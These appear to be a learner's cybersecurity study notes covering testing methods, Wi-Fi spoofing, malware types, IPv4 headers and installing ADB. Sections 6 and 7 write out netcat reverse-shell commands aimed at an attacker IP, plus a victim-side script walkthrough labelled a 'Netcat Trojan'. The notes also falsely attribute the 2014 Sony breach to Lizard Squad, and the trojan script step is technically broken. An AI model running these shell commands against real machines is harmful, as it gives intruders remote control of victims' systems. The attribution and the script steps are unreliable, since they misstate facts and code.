[Day 11] 4. Extra

1. IAST (Interactive Application Security Testing) in regard to SAST and DAST

IAST is a hybrid approach combining elements of both SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing).

• SAST analyzes the source code or binaries of an application to identify vulnerabilities without executing the application, often used during development.
• DAST tests the application in a running state (black-box testing), identifying issues such as SQL injection, cross-site scripting, and other runtime vulnerabilities.

IAST integrates into the testing environment to analyze the application during runtime (like DAST) but uses source code analysis (like SAST) for deeper insights. It provides real-time feedback to developers while the application is being tested, offering a more comprehensive vulnerability detection method.

2. Credential Stuffing

Credential stuffing is a type of cyberattack where attackers use previously stolen username and password pairs (often from data breaches) to gain unauthorized access to user accounts on different websites or services.

• This attack works under the assumption that many users reuse passwords across multiple sites.
• Preventive Measures: Implementing multi-factor authentication (MFA), rate limiting, and CAPTCHA can help prevent these attacks.

3. Sony Cyber Attack 2014

The Sony Cyber Attack (2014), attributed to the Lizard Squad hacking group, caused significant disruption:

• Hackers breached Sony’s servers, stole sensitive data, and leaked movies and private emails.
• They also disrupted services like PlayStation Network and Sony Entertainment.
• Torrents: Movies that were supposed to be released in theaters were leaked online due to the breach.
• The incident highlighted poor security practices, including storing sensitive information like usernames and passwords in plain text, which made the breach much easier for attackers to exploit.

4. Evil Twin Attack

An Evil Twin Attack is a type of Wi-Fi spoofing attack where a rogue Wi-Fi access point (AP) is set up to mimic a legitimate Wi-Fi network.

• Attackers create a fake AP with the same SSID (network name) as a trusted one. Users unknowingly connect to this fake AP, allowing attackers to intercept sensitive data.
• This attack can be used for man-in-the-middle (MITM) attacks to steal data, inject malware, or monitor communications.

5.

Copy

sudo apt install adb

Steps

To install Android Debug Bridge (ADB) on an Ubuntu-based system:

1. Open the terminal.

2. Update your package list:

   bashCopy
   sudo apt update
   

3. Install ADB by running:

   bashCopy
   sudo apt install adb
   

4. Once installed, you can check the installation by typing:

   bashCopy
   adb version
   

5. To use ADB, ensure USB debugging is enabled on your Android device and connect it via USB.

6. You can then use various ADB commands like:

   bashCopy
   adb devices
   adb shell
   adb push <local file> <remote path>
   

6. Reverse Shell (Android, Windows, Linux)

A reverse shell is a type of shell in which the target machine opens a connection to an attacking machine, allowing the attacker to run commands on the target.

• Android Reverse Shell: Using
  Copy

  adb

  and a reverse shell payload can give the attacker control over an Android device.
• Windows Reverse Shell: A command like
  Copy

  nc -e cmd.exe <attacker_ip> <port>

  can create a reverse shell on a Windows machine.
• Linux Reverse Shell: Using
  Copy

  nc -e /bin/bash <attacker_ip> <port>

  on a Linux machine allows an attacker to control it remotely.

7. Netcat Trojan

A Netcat Trojan is a malicious program using Netcat for creating a reverse shell or establishing backdoor communication channels.

• Prerequisites:
  • Install Netcat (
    Copy

    sudo apt install netcat

    ).
  • Ensure firewalls allow the relevant ports.
• Netcat Command:

  • On the attacker's machine, listen on a specific port:

    bashCopy
    sudo nc -lvp 5000
    

  • On the victim's machine, initiate the reverse shell:

    bashCopy
    sudo nc -e /bin/bash <attacker_ip> 5000
    

Remaining Steps after

chmod u+x myfile.sh

1. Create a script file (

   Copy

   myfile.sh

   ), add the reverse shell Netcat command to it:

   bashCopy
   netcat <attacker_ip> 5000
   

2. Set it to be executable:

   bashCopy
   chmod u+x myfile.sh
   

3. Run the script on the victim machine:

   bashCopy
   ./myfile.sh
   

4. The attacker should now have a reverse shell connection.

8. Process Explorer Tool

Process Explorer is a tool from Sysinternals used to monitor the processes running on a Windows machine.

• It shows detailed information about processes, threads, and handles.
• Key Features:
  • Displays which processes are using specific files or libraries.
  • Allows identifying malicious processes by highlighting suspicious activity.

9. IPv4 Header

The IPv4 header is part of every IPv4 packet, containing essential routing and delivery information.

• Key fields include:
  • Version: Protocol version (4 for IPv4).
  • IHL: Internet Header Length (length of the header in 32-bit words).
  • Total Length: Entire packet length (header + data).
  • Protocol: Protocol used in the payload (TCP, UDP, etc.).
  • Source Address and Destination Address: IP addresses of the sender and receiver.

10. HTTP Tunneling

HTTP Tunneling involves encapsulating other protocols within HTTP to bypass firewalls or network restrictions.

• Can be used to tunnel TCP traffic over HTTP.
• Overt Channels: Open, observable communication (e.g., HTTP itself).
• Covert Channels: Hidden, less detectable communication.

11. Trojans and RATs

• Trojan: Malicious software disguised as legitimate software to gain unauthorized access.
• Remote Access Trojans (RATs): Provide the attacker with control over the victim's machine, allowing for spying, file access, and more.

12. Rootkit Techniques

Rootkits are designed to hide the presence of malicious software or processes from detection.

• Common methods include manipulating system calls, hiding files, and disguising processes.
• Rootkits can give attackers persistent control over a system.

13. Virus and Spread Mechanism

• Virus: Malicious code that replicates by attaching itself to other files or programs.
• Spread Mechanism: Typically spreads via email, file sharing, or infected software downloads.
• Examples:
  • Conficker: A self-replicating worm targeting Windows systems.
  • Blaster: A worm that exploited vulnerabilities in Windows.
  • ILOVEYOU: A virus spread via email attachment.